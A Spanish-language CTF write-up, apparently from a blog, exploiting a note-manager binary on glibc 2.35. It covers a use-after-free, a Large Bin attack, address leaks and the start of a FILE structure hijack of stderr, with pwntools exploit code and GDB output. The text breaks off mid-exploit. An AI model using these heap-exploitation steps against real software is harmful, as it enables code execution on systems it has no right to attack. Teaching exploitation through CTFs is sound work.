La casa de papel
21 minutos de lectura
Se nos proporciona un binario de 64 bits llamado chall
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Además, disponemos del código fuente en C. El programa es un gestor de notas con un menú bastante típico:
$ ./chall
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡒⠦⠤⠤⠄⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⢼⠀⠀⠒⠒⠤⠤⠤⠤⠤⣀⣀⣀⣀⠀⠀⠘⡇⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣀⠤⠔⠒⠉⠁⢀⣼⡀⠀⢠⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠰⡧⠚⠉⢹⡀⠀⠀⠀⠀⠀⠀
⠰⣖⠊⠉⠀⠀⠀⣠⠔⠚⠉⠁⢀⡇⠀⡀⠀⠀⠀⠀⠉⠁⠀⠀⠀⠀⠀⠀⢀⡇⠀⣤⠀⢷⡀⠀⠀⠀⠀⠀
⠀⠈⠳⡄⠀⠀⠋⣠⠖⠂⡠⠖⢙⡇⠀⠈⠉⠉⠉⠉⠓⠒⠒⠒⠒⠒⠆⠀⠀⣷⡀⠉⢦⠀⢳⡀⠀⠀⠀⠀
⠀⠀⠀⠈⢦⠀⠀⠁⠀⠀⠀⢀⠼⡇⠀⠀⠦⠤⠤⠄⡀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠱⡀⠀⠳⡀⠙⣆⠀⠀⠀
⠀⠀⠀⠀⠀⠳⡄⠀⢀⡤⠊⠁⢠⡇⠀⠠⠤⢤⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⡧⡀⠙⢄⠀⠱⠄⠈⠳⡄⠀
⠀⠀⠀⠀⠀⠀⠙⡄⠀⠀⡠⠔⢻⠀⠀⠀⠀⠀⠀⠠⣄⣀⣀⣁⣀⠀⠀⠀⠀⡇⠱⡀⠀⠀⠀⠀⠀⣀⣘⣦
⠀⠀⠀⠀⠀⠀⠀⠘⣆⠀⠀⠀⡸⠀⠀⠰⣄⣀⡀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⡇⠀⠃⢀⣠⠴⠛⠉⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠘⡄⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠙⠒⠀⠀⠀⠠⡇⣠⠔⠋⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡄⢸⠁⠀⠀⠀⠒⠲⠤⣀⡀⠀⠀⠀⠀⠀⠀⠀⢰⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠇⠀⠀⠀⠀⠀⠀⠀⠀⠉⠑⠢⣄⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣎⣀⠀⠀⠀⠀⠀⠀⠀⠢⠤⣀⠀⠀⠁⠀⠀⠀⠸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢡⠉⠙⠒⠤⢤⡀⠀⠀⠀⠀⠉⠒⠀⠀⠀⠀⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⠶⠒⠊⠉⠉⠉⠓⠦⣀⠀⠀⠀⠀⠀⠀⢰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠲⢄⡀⠀⠀⡎⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠲⣼⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
What would you like to do?
[0] Create new note.
[1] Edit existing note.
[2] Read existing note.
[3] Throw note to the bin.
[4] Exit.
>
Análisis del código fuente
En primer lugar, conviene saber que tenemos las siguientes estructuras de datos definidas:
typedef enum { false, true } bool;
typedef enum {small, medium, large } note_sz;
#define MAX_NOTES 4
#define TAM_TEXT 0x410
#define TAM_FOOTER 0x18
typedef struct t_note{
char* text;
char* footer;
bool is_freed;
bool is_written;
bool has_been_edited_text;
bool has_been_edited_footer;
bool has_been_edited_header;
note_sz size;
} Note, *pNote;
Note notes[MAX_NOTES];
Disponemos solo de 4 notas en las que podemos tener cabecera, texto y pie. También aparecen unas flags por si escribimos, liberamos o editamos alguno de estos campos.
Función de asignación
Para crear notas, tenemos la función create_note
:
void
create_note(){
int idx;
while (true){
int available = available_notes_create();
if(!available){
puts("There are no pages left to write a new note!\n");
return;
}
puts("Select the note's index");
print_note_idxs();
idx = read_int();
if( (idx < 0 || idx >= MAX_NOTES) || notes[idx].text != NULL || notes[idx].is_written || notes[idx].is_freed ){
puts("Invalid index!!");
continue;
}
break;
}
int sz;
while(true){
puts("Choose the note size [small: 0, med: 1, big: 2]");
sz = read_int();
switch (sz){
case 0:
case 1:
case 2:
break;
default:
puts("Invalid note size!!");
continue;
}
break;
}
int with_footer;
while(true){
puts("Do you want to write a footer to your note? [yes: 1, no: 0]");
with_footer = read_int();
switch (with_footer){
case 0:
case 1:
break;
default:
puts("Invalid choize!!");
continue;
}
break;
}
notes[idx].is_written = true;
notes[idx].size = (note_sz) sz;
int total_text_tam = TAM_TEXT + sz * 0x10, text_offset = 0;
notes[idx].text = (char *) calloc(total_text_tam, 1);
if(with_footer){
notes[idx].footer = (char *) calloc(TAM_FOOTER, 1);
}
puts("\nFilling the fields...");
text_offset = fill_fields(idx, with_footer);
puts("Enter the note's text");
read_text_input(notes[idx].text + text_offset, total_text_tam - text_offset);
printf("Note created with index %d\n", idx);
}
Esta función nos hace las siguientes preguntas:
What would you like to do?
[0] Create new note.
[1] Edit existing note.
[2] Read existing note.
[3] Throw note to the bin.
[4] Exit.
>0
Select the note's index
[ 0 1 2 3 ]
>0
Choose the note size [small: 0, med: 1, big: 2]
>0
Do you want to write a footer to your note? [yes: 1, no: 0]
>1
Filling the fields...
Enter the author's name:
>asdf
Enter the author's surname:
>asdf
Enter the date:
>asdf
Enter the city:
>asdf
Enter the note's text
>asdfasdfasdf
Note created with index 0
En primer lugar, comprueba que haya espacio en los 4 huecos que tenemos. Luego pregunta por la posición en la que guardar la nota. Después solicita el tamaño de la nota y si tendrá pie:
- Pequeña:
0x410
bytes - Mediana:
0x420
bytes - Grande:
0x430
bytes - Con pie:
0x18
bytes adicionales
Nótese que por un lado está la cabecera y el texto (como un solo chunk), y por otro el pie (como un chunk de 0x20
). En ambos casos, se utiliza calloc
el cual inicializa a cero el contenido del chunk al crearse y además no utiliza las free lists de Tcache.
La información de la nota se gestiona con la función fill_fields
, que está bien implementada:
int
fill_fields(int idx, bool with_footer){
int text_offset = 0;
puts("Enter the author's name:");
read_text_input(notes[idx].text + text_offset, 0x8);
clean_whitespaces(notes[idx].text + text_offset);
if(with_footer){
strncpy(notes[idx].footer + text_offset, notes[idx].text + text_offset, 0x8);
}
text_offset += 0x8;
puts("Enter the author's surname:");
read_text_input(notes[idx].text+text_offset, 0x8);
clean_whitespaces(notes[idx].text+text_offset);
if(with_footer){
strncpy(notes[idx].footer + text_offset, notes[idx].text + text_offset, 0x8);
}
text_offset += 0x8;
puts("Enter the date:");
read_text_input(notes[idx].text+text_offset, 0x8);
clean_whitespaces(notes[idx].text+text_offset);
if(with_footer){
strncpy(notes[idx].footer + text_offset, notes[idx].text + text_offset, 0x8);
}
text_offset += 0x8;
puts("Enter the city:");
read_text_input(notes[idx].text + text_offset, 0x8);
clean_whitespaces(notes[idx].text + text_offset);
text_offset += 0x8;
return text_offset;
}
Función de edición
La función edit_note
es la siguiente:
void
edit_note(){
int idx;
while(true){
puts("What is the index of the note you want to edit?");
print_note_idxs();
idx = read_int();
if ((idx < 0 || idx >= MAX_NOTES) || !notes[idx].is_written || notes[idx].text == NULL){
puts("Invalid note!!");
continue;
}
break;
}
int edit_footer;
while(true){
puts("Do you want to edit the text a footer field or a header field? [text: 0, footer: 1, header: 2]");
edit_footer = read_int();
if(edit_footer < 0 || edit_footer > 2){
puts("Invalid choize!!");
continue;
}
if(!edit_footer && notes[idx].has_been_edited_text){
puts("The text has already been edited. You don't have any tipex left!");
return;
}
if(edit_footer == 1 && notes[idx].has_been_edited_footer){
puts("The footer has already been edited. You don't have any tipex left!");
return;
}
if(edit_footer == 2 && notes[idx].has_been_edited_header){
puts("The header has already been edited. You don't have any tipex left!");
return;
}
break;
}
if(edit_footer == 1){
int field;
while(true){
puts("What field have you messed up? [Name: 0, Surname: 1, Date: 2]");
field = read_int();
if(field < 0 || field > 2){
puts("That field doesn't exist!!");
continue;
}
break;
}
notes[idx].has_been_edited_footer = true;
int offset = field * 0x8;
char *buf = notes[idx].footer + offset;
puts("Enter the new field value");
read_text_input(buf, 0x8);
clean_whitespaces(buf);
}else if (edit_footer == 2){
int field;
while(true){
puts("What field have you messed up? [Name: 0, Surname: 1, Date: 2, City: 3]");
field = read_int();
if(field < 0 || field > 3){
puts("That field doesn't exist!!");
continue;
}
break;
}
notes[idx].has_been_edited_header = true;
int offset = field * 0x8;
char *buf = notes[idx].text + offset;
puts("Enter the new field value");
read_text_input(buf, 0x8);
clean_whitespaces(buf);
}else{
notes[idx].has_been_edited_text = true;
int header_sz = 0x20;
int note_tam = (TAM_TEXT + 0x10 * notes[idx].size) - header_sz;
puts("Enter the new text");
read_text_input(notes[idx].text + header_sz, note_tam);
}
puts("Changes applied!");
}
Se trata de una función bastante extensa porque tiene que cubrir muchos casos. Simplificando, nos permite editar una nota de las 4 posibles y nos pregunta exactamente qué parte queremos editar: cabecera, texto o pie. Cada una de estas tres solamente se puede editar una vez. Y si elegimos cabecera o pie, tendremos que elegir un campo en particular: nombre, apellido, fecha o ciudad (en el caso del pie).
Como control, la función mira si la nota realmente está escrita y existe una referencia en el array global.
Función de lectura
Esta es la función read_note
:
void
read_note(){
int idx;
while(true){
puts("What is the index of the note you want to read?");
print_note_idxs();
idx = read_int();
if ((idx < 0 || idx >= MAX_NOTES) || notes[idx].text == NULL ){
puts("Invalid note!!");
continue;
}
break;
}
printf("Note [%d]\n", idx);
puts("Header");
puts("-----------------------------");
print_header(notes[idx].text);
puts("-----------------------------");
puts("");
if(!notes[idx].is_freed){
printf("Text: %s\n", notes[idx].text + 0x20);
}else{
puts("Text: --DELETED--");
}
puts("");
if(notes[idx].footer != NULL){
puts("Footer");
puts("-------------------------------");
print_footer(notes[idx].footer);
}
}
Con esta función podemos leer los datos de una nota determinada. Si ocurre que esta nota está liberada, se mostrarán la cabecera y el pie (si lo tiene), pero no se mostrará la parte del texto.
Función de liberación
Por último, tenemos la opción de borrar notas:
void
throw_note(){
int idx;
while(true){
int available = available_notes_throw();
if (!available){
puts("There are no more pages left to tear bro\n");
return;
}
puts("What is the index of the note you want to throw to the bin?");
print_note_idxs();
idx = read_int();
if ((idx < 0 || idx >= MAX_NOTES) || notes[idx].is_freed || notes[idx].text == NULL ){
puts("Invalid note!!");
continue;
}
break;
}
notes[idx].is_freed = true;
free(notes[idx].text);
puts("3-pointer in the bin!!");
}
Esta función simplemente llama a free
para liberar el chunk. El problema con esta función es que no borra la referencia a la nota en el array global. Por tanto, aunque el chunk esté liberado, aún podemos acceder a el y usar funciones como read_note
o edit_note
, que no comprueban adecuadamente si el chunk está liberado. Con esto, tenemos una vulnerabilidad de Use After Free.
Estrategia de explotación
En primer lugar, hay que tener en cuenta que la versión de Glibc que tenemos que explotar es la 2.35 (Ubuntu 22.04). Como se trata de un reto de explotación del heap, una buena idea es mirar en how2heap alguna técnica que nos pueda servir.
Otro tema a tener en cuenta es cómo se estructuran las notas como chunks en el heap:
Ataque de Large Bin
Sabiendo esto, al mirar las distintas técnicas de how2heap aplicables a Glibc 2.35, encontramos el ataque de Large Bin. El contexto y la naturaleza de este ataque cuadran a la perfección con la prueba de concepto que aparece en el repositorio. Incluso, los tamaños de los chunks que es necesario utilizar, con los chunks de guarda (de 0x20
) para evitar consolidaciones cuando es necesario. Todo cuadra.
El resultado de este ataque es la posibilidad de escribir una dirección del heap (fija) en una dirección arbitraria de la memoria. Por sí solo, no es un ataque muy prometedor, ya que es necesario escalar esta primitiva de escritura limitada.
El procedimiento del ataque está bien documentado en el repositorio, pero básicamente es como sigue:
- Asignar un chunk (
p1
) de tamaño0x430
con chunk de guarda (g1
) - Asignar un chunk (
p2
) de tamaño0x420
con chunk de guarda (g2
) - Liberar
p1
- Asignar un chunk (
p3
) de tamaño0x440
- Liberar
p2
- Modificar el campo
bk_nextsize
dep1
por la dirección en la que queremos escribir (menos0x20
). Esto se puede hacer con un Use After Free - Asignar un chunk (
p4
) de tamaño0x440
En este punto, tendremos la dirección del chunk p2
puesta en la dirección en la que queríamos escribir.
Desarrollo del exploit
En primer lugar, usaremos las siguientes funciones auxiliares:
SMALL, MEDIUM, LARGE = 0, 1, 2
WITHOUT_FOOTER, WITH_FOOTER = 0, 1
TEXT, FOOTER, HEADER = 0, 1, 2
NAME, SURNAME, DATE, CITY = 0, 1, 2, 3
def create(index: int, size: int, footer: int, name: bytes, surname: bytes, date: bytes, city: bytes, text: bytes):
io.sendlineafter(b'>', b'0')
io.sendlineafter(b'>', str(index).encode())
io.sendlineafter(b'>', str(size).encode())
io.sendlineafter(b'>', str(footer).encode())
io.sendafter(b'>', name)
io.sendafter(b'>', surname)
io.sendafter(b'>', date)
io.sendafter(b'>', city)
io.sendafter(b'>', text)
def edit(index: int, place: int, field: int, data: bytes):
io.sendlineafter(b'>', b'1')
io.sendlineafter(b'>', str(index).encode())
io.sendlineafter(b'>', str(place).encode())
if place != TEXT:
io.sendlineafter(b'>', str(field).encode())
io.sendlineafter(b'>', data)
def read(index: int) -> bytes:
io.sendlineafter(b'>', b'2')
io.sendlineafter(b'>', str(index).encode())
return io.recvuntil(b'What would you like to do?', drop=True)
def throw(index: int):
io.sendlineafter(b'>', b'3')
io.sendlineafter(b'>', str(index).encode())
El ataque de Large Bin se puede implementar en este reto de manera muy sencilla de la siguiente forma:
def main():
gdb.attach(io, 'continue')
create(0, MEDIUM, WITH_FOOTER, b'A', b'A', b'A', b'A', b'A' * 16)
create(1, SMALL, WITH_FOOTER, b'B', b'B', b'B', b'B', b'B' * 16)
throw(0)
create(2, LARGE, WITHOUT_FOOTER, b'C', b'C', b'C', b'C', b'C' * 16)
edit(0, HEADER, CITY, p64(0x406600 - 0x20))
throw(1)
create(3, LARGE, WITHOUT_FOOTER, b'D', b'D', b'D', b'D', b'D' * 16)
io.interactive()
Si lo ejecutamos, el programa no se rompe:
$ python3 solve.py
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './chall': pid 402081
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall', '402081', '-x', '/tmp/pwnsrwco9g4.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
Note created with index 3
What would you like to do?
[0] Create new note.
[1] Edit existing note.
[2] Read existing note.
[3] Throw note to the bin.
[4] Exit.
>$
Y además, en GDB vemos que la dirección que hemos indicado contiene una dirección del heap, en concreto, la del chunk p2
:
gef> x/gx 0x406600
0x406600: 0x00000000020616e0
gef> chunks
Chunk(addr=0x2061000, size=0x290, flags=PREV_INUSE)
Chunk(addr=0x2061290, size=0x430, flags=PREV_INUSE, fd=0x0000020616e0, bk=0x7f544ec300d0, fd_nextsize=0x000002061290, bk_nextsize=0x0000020616e0) <- largebins[idx=63,sz=0x400-0x440][1/2]
Chunk(addr=0x20616c0, size=0x20, flags=)
Chunk(addr=0x20616e0, size=0x420, flags=PREV_INUSE, fd=0x7f544ec300d0, bk=0x000002061290, fd_nextsize=0x000002061290, bk_nextsize=0x0000004065e0) <- largebins[idx=63,sz=0x400-0x440][2/2]
Chunk(addr=0x2061b00, size=0x20, flags=)
Chunk(addr=0x2061b20, size=0x440, flags=PREV_INUSE)
Chunk(addr=0x2061f60, size=0x440, flags=PREV_INUSE)
Chunk(addr=0x20623a0, size=0x1fc60, flags=PREV_INUSE) <- top
Vale, esto está muy bien. Pero con este ataque solo no hacemos nada. Además, ya hemos utilizado 4 notas, por lo que no podremos crear nada nuevo, aunque las liberemos (ya que no se borran del array).
Lo que se suele hacer con un ataque Large Bin es modificar alguna variable global que dé mayores capacidades para continuar con la explotación. Por ejemplo, podríamos modificar la variable global_max_fast
para que los chunks que van al Fast Bin puedan ser de tamaño muy grande (y no hasta 0x80
). Pero no nos afecta porque no podemos asignar más chunks…
Investigando un poco más, descrubrimos técnicas como House of Apple, que tienen como objetivo usar un ataque de Large Bin para corromper una estructura FILE
como stdin
, stdout
o stderr
y obtener ejecución de código arbitrario.
Las técnicas relacionadas con la estructura FILE
reciben el nombre de ataque de estructura FILE
, y cada cual es tan parecida y tan diferente de las demás. Para encontrar una técnica que funcione, es necesario depurar y leer código de Glibc hasta la saciedad.
Fugando direcciones de memoria
Sea cual sea la técnica que usemos, necesitamos un par de direcciones de memoria para continuar con la explotación: la dirección base de Glibc y la dirección base del heap.
Ambas son fáciles de conseguir puesto que aparecen en los campos fd
y bk
de los chunks liberados (véase salida anterior de GDB). Entonces, basta con usar read_note
para coger los datos de la cabecera de la nota. Lo podemos hacer antes de asignar la última nota del ataque de Large Bin:
data = read(0)
glibc.address = u64(data[data.index(b'Name: ') + 6:][:6].ljust(8, b'\0')) - 0x21b0d0
heap_addr = u64(data[data.index(b'Date: ') + 6:][:4].ljust(8, b'\0')) - 0x290
io.success(f'Glibc base address: {hex(glibc.address)}')
io.success(f'Heap base address: {hex(heap_addr)}')
Si lo ejecutamos, veremos las direcciones que queríamos:
$ python3 solve.py
[*] './chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './chall': pid 412242
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall', '412242', '-x', '/tmp/pwn9o9ggnck.gdb']
[+] Waiting for debugger: Done
[+] Glibc base address: 0x7fc99ad2d000
[+] Heap base address: 0x1d34000
[*] Switching to interactive mode
Note created with index 3
What would you like to do?
[0] Create new note.
[1] Edit existing note.
[2] Read existing note.
[3] Throw note to the bin.
[4] Exit.
>$
Y son correctas:
gef> x/gx 0x406600
0x406600: 0x0000000001d346e0
gef> chunks
Chunk(addr=0x1d34000, size=0x290, flags=PREV_INUSE)
Chunk(addr=0x1d34290, size=0x430, flags=PREV_INUSE, fd=0x000001d346e0, bk=0x7fc99af480d0, fd_nextsize=0x000001d34290, bk_nextsize=0x000001d346e0) <- largebins[idx=63,sz=0x400-0x440][1/2]
Chunk(addr=0x1d346c0, size=0x20, flags=)
Chunk(addr=0x1d346e0, size=0x420, flags=PREV_INUSE, fd=0x7fc99af480d0, bk=0x000001d34290, fd_nextsize=0x000001d34290, bk_nextsize=0x0000004065e0) <- largebins[idx=63,sz=0x400-0x440][2/2]
Chunk(addr=0x1d34b00, size=0x20, flags=)
Chunk(addr=0x1d34b20, size=0x440, flags=PREV_INUSE)
Chunk(addr=0x1d34f60, size=0x440, flags=PREV_INUSE)
Chunk(addr=0x1d353a0, size=0x1fc60, flags=PREV_INUSE) <- top
gef> libc
------------------------------------------------------------------------- libc info -------------------------------------------------------------------------
$libc = 0x7fc99ad2d000
path: /usr/lib/x86_64-linux-gnu/libc.so.6
sha512: b6f66f4643a14c3b7d97ef2ba2cc3a2670ef943f0624ffae6ad57cc2950c16d14156eab45d5827b194223062e5fbdb1d57d98a266723fd9dbdf6d0e657c080e8
sha256: bc1a1b62cb2b8d8c8d73e62848016d5c1caa22208081f07a4f639533efee1e4a
sha1: 2f1387a64ad0eb7906fe82c4efab9b5cfbd55467
md5: 9ee1a1aa1bbd6bf8d7f3a90c0ea5d135
ver: GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.6) stable release version 2.35.
Ataque de estructura FILE
Algo a tener en cuenta es que el programa utiliza fflush
antes de finalizar la función main
:
int main(){
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
banner();
while(true){
show_options();
int op = read_int();
switch (op){
case 0:
create_note();
continue;
case 1:
edit_note();
continue;
case 2:
read_note();
continue;
case 3:
throw_note();
continue;
case 4:
break;
default:
puts("Invalid option! Try again!");
continue;
}
break;
}
puts("Good bye!!");
fflush(stderr);
fflush(stdout);
fflush(stdin);
}
Estas últimas llamadas a fflush
sobre stderr
, stdout
y stdin
nos podría dar una pista de que el vector de ataque es a la estructura FILE
, ya que no es necesario realizar este tipo de llamadas antes de finalizar el programa.
Por otro lado, como el binario no tiene PIE habilitado, conocemos los punteros a estas estructuras en el binario (dentro de la sección BSS):
gef> vmmap chall
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000001000 0x0000000000000000 r-- ./chall
0x0000000000401000 0x0000000000403000 0x0000000000002000 0x0000000000001000 r-x ./chall
0x0000000000403000 0x0000000000405000 0x0000000000002000 0x0000000000003000 r-- ./chall
0x0000000000405000 0x0000000000406000 0x0000000000001000 0x0000000000004000 r-- ./chall
0x0000000000406000 0x0000000000407000 0x0000000000001000 0x0000000000005000 rw- ./chall
gef> x/30gx 0x0000000000406000
0x406000: 0x0000000000000000 0x0000000000000000
0x406010: 0x0000000000000000 0x0000000000000000
0x406020 <stdout@GLIBC_2.2.5>: 0x00007fc99af48780 0x0000000000000000
0x406030 <stdin@GLIBC_2.2.5>: 0x00007fc99af47aa0 0x0000000000000000
0x406040 <stderr@GLIBC_2.2.5>: 0x00007fc99af486a0 0x0000000000000000
0x406050: 0x0000000000000000 0x0000000000000000
0x406060 <notes>: 0x0000000001d342a0 0x0000000001d346d0
0x406070 <notes+16>: 0x0000000100000001 0x0000000000000000
0x406080 <notes+32>: 0x0000000100000001 0x0000000001d346f0
0x406090 <notes+48>: 0x0000000001d34b10 0x0000000100000001
0x4060a0 <notes+64>: 0x0000000000000000 0x0000000000000000
0x4060b0 <notes+80>: 0x0000000001d34b30 0x0000000000000000
0x4060c0 <notes+96>: 0x0000000100000000 0x0000000000000000
0x4060d0 <notes+112>: 0x0000000200000000 0x0000000001d34f70
0x4060e0 <notes+128>: 0x0000000000000000 0x0000000100000000
Entonces, una buena idea sería modificar el puntero a uno de estas estructuras y poner una estructura FILE
en el correspondiente chunk del heap. De esta manera, cuando se vaya a realizar una operación con dicha estructura FILE
, se hará con la estructura que hemos definido nosotros.
La estructura FILE
que más nos conviene comprometer es stderr
, puesto que no se utiliza en todo el programa salvo con la llamada a fflush(stderr)
. Por tanto, podemos estar seguros de que el programa no se va a detener por modificar el puntero a esta estructura.
Aún así, tenemos un pequeño problema, y es que no podremos escribir una estructura FILE
completa en la región del heap que controlamos, ya que esta dirección apunta al campo prev_size
del chunk de guarda g1
. Esta es la estructura actual de stderr
:
gef> p *stderr
$1 = {
_flags = 0xfbad2087,
_IO_read_ptr = 0x7fc99af48723 <_IO_2_1_stderr_+131> "",
_IO_read_end = 0x7fc99af48723 <_IO_2_1_stderr_+131> "",
_IO_read_base = 0x7fc99af48723 <_IO_2_1_stderr_+131> "",
_IO_write_base = 0x7fc99af48723 <_IO_2_1_stderr_+131> "",
_IO_write_ptr = 0x7fc99af48723 <_IO_2_1_stderr_+131> "",
_IO_write_end = 0x7fc99af48723 <_IO_2_1_stderr_+131> "",
_IO_buf_base = 0x7fc99af48723 <_IO_2_1_stderr_+131> "",
_IO_buf_end = 0x7fc99af48724 <_IO_2_1_stderr_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7fc99af48780 <_IO_2_1_stdout_>,
_fileno = 0x2,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7fc99af49a60 <_IO_stdfile_2_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7fc99af478a0 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
}
gef> x/30gx stderr
0x7fc99af486a0 <_IO_2_1_stderr_>: 0x00000000fbad2087 0x00007fc99af48723
0x7fc99af486b0 <_IO_2_1_stderr_+16>: 0x00007fc99af48723 0x00007fc99af48723
0x7fc99af486c0 <_IO_2_1_stderr_+32>: 0x00007fc99af48723 0x00007fc99af48723
0x7fc99af486d0 <_IO_2_1_stderr_+48>: 0x00007fc99af48723 0x00007fc99af48723
0x7fc99af486e0 <_IO_2_1_stderr_+64>: 0x00007fc99af48724 0x0000000000000000
0x7fc99af486f0 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000
0x7fc99af48700 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007fc99af48780
0x7fc99af48710 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff
0x7fc99af48720 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007fc99af49a60
0x7fc99af48730 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000
0x7fc99af48740 <_IO_2_1_stderr_+160>: 0x00007fc99af478a0 0x0000000000000000
0x7fc99af48750 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7fc99af48760 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7fc99af48770 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007fc99af44600
0x7fc99af48780 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007fc99af48803
Y esta es la región de memoria en la que tenemos que crear una estructura FILE
falsa:
gef> x/30gx 0x1d346e0
0x1d346e0: 0x0000000000000041 0x0000000000000421
0x1d346f0: 0x00007fc99af480d0 0x0000000001d34290
0x1d34700: 0x0000000001d34290 0x00000000004065e0
0x1d34710: 0x4242424242424242 0x4242424242424242
0x1d34720: 0x0000000000000000 0x0000000000000000
0x1d34730: 0x0000000000000000 0x0000000000000000
0x1d34740: 0x0000000000000000 0x0000000000000000
0x1d34750: 0x0000000000000000 0x0000000000000000
0x1d34760: 0x0000000000000000 0x0000000000000000
0x1d34770: 0x0000000000000000 0x0000000000000000
0x1d34780: 0x0000000000000000 0x0000000000000000
0x1d34790: 0x0000000000000000 0x0000000000000000
0x1d347a0: 0x0000000000000000 0x0000000000000000
0x1d347b0: 0x0000000000000000 0x0000000000000000
0x1d347c0: 0x0000000000000000 0x0000000000000000
Por ejemplo, el primer campo (el que pone 0x0000000000000041
) sí lo podemos modificar a partir del pie de la nota 0
. Sin embargo, el campo que contiene 0x0000000000000421
no lo podemos cambiar porque es el tamaño del chunk. De los siguientes 4 campos solamente podemos tocar uno, porque forman parte de la cabecera de la nota 1
. El resto de bytes (a partir de 0x4242424242424242
) sí los podemos modificar, porque son parte del texto de la nota en cuestión.
Aún así, basta para poder crear una estructura FILE
que nos permita obtener ejecución de código arbitrario.
Para conseguir un exploit que funcionara, tuve que investigar y leer muchos artículos relacionados con los ataques de estructura FILE
en entornos modernos. Estos son algunos de los blogs que utilicé como referencia:
El primer enlace es un write-up que muestra una manera muy simple de obtener ejecución de comandos mediante una estructura FILE
escrita directamente sobre la estructura de stdout
de Glibc. Podemos tratar de escribir esta estructura FILE
en el heap y apuntar stdout
al chunk que controlamos. Sin embargo, el exploit no termina de funcionar.
Aun así, pude investigar cómo debería haber funcionado y vi que trataba de llamar a una función _IO_wfile_underflow
, que viene de una tabla virtual de funciones (vtable). Cuando surgió la técnica de ataque de estructura FILE
, la vtable de la estructura FILE
casi no tenía seguridad, y era muy fácil modificar punteros de esta tabla a funciones arbitrarias para conseguir ejecución de comandos. Hoy en día, la vtable es mucho más segura.
Aún así, el exploit anterior también tiene como objetivo una vtable, pero es distinta; se trata de la vtable llamada _wide_vtable
. Y esta vtable no tiene seguridad alguna. Toda esta explicación aparece en el segundo enlace (que hace referencia al tercero, House of Apple 2).
Siguiendo el ejemplo de nobodyisnobody, podemos comenzar por aquí. Cuando ejecutemos el exploit, GDB se parará en fflush
y podremos continuar la ejecución para ver qué función coge de la vtable:
def main():
gdb.attach(io, 'break fflush\ncontinue')
create(0, MEDIUM, WITH_FOOTER, b'A', b'A', b'A', b'A', b'A' * 16)
create(1, SMALL, WITH_FOOTER, b'B', b'B', b'B', b'B', b'B' * 16)
throw(0)
create(2, LARGE, WITHOUT_FOOTER, b'C', b'C', b'C', b'C', b'C' * 16)
edit(0, HEADER, CITY, p64(0x406040 - 0x20))
throw(1)
data = read(0)
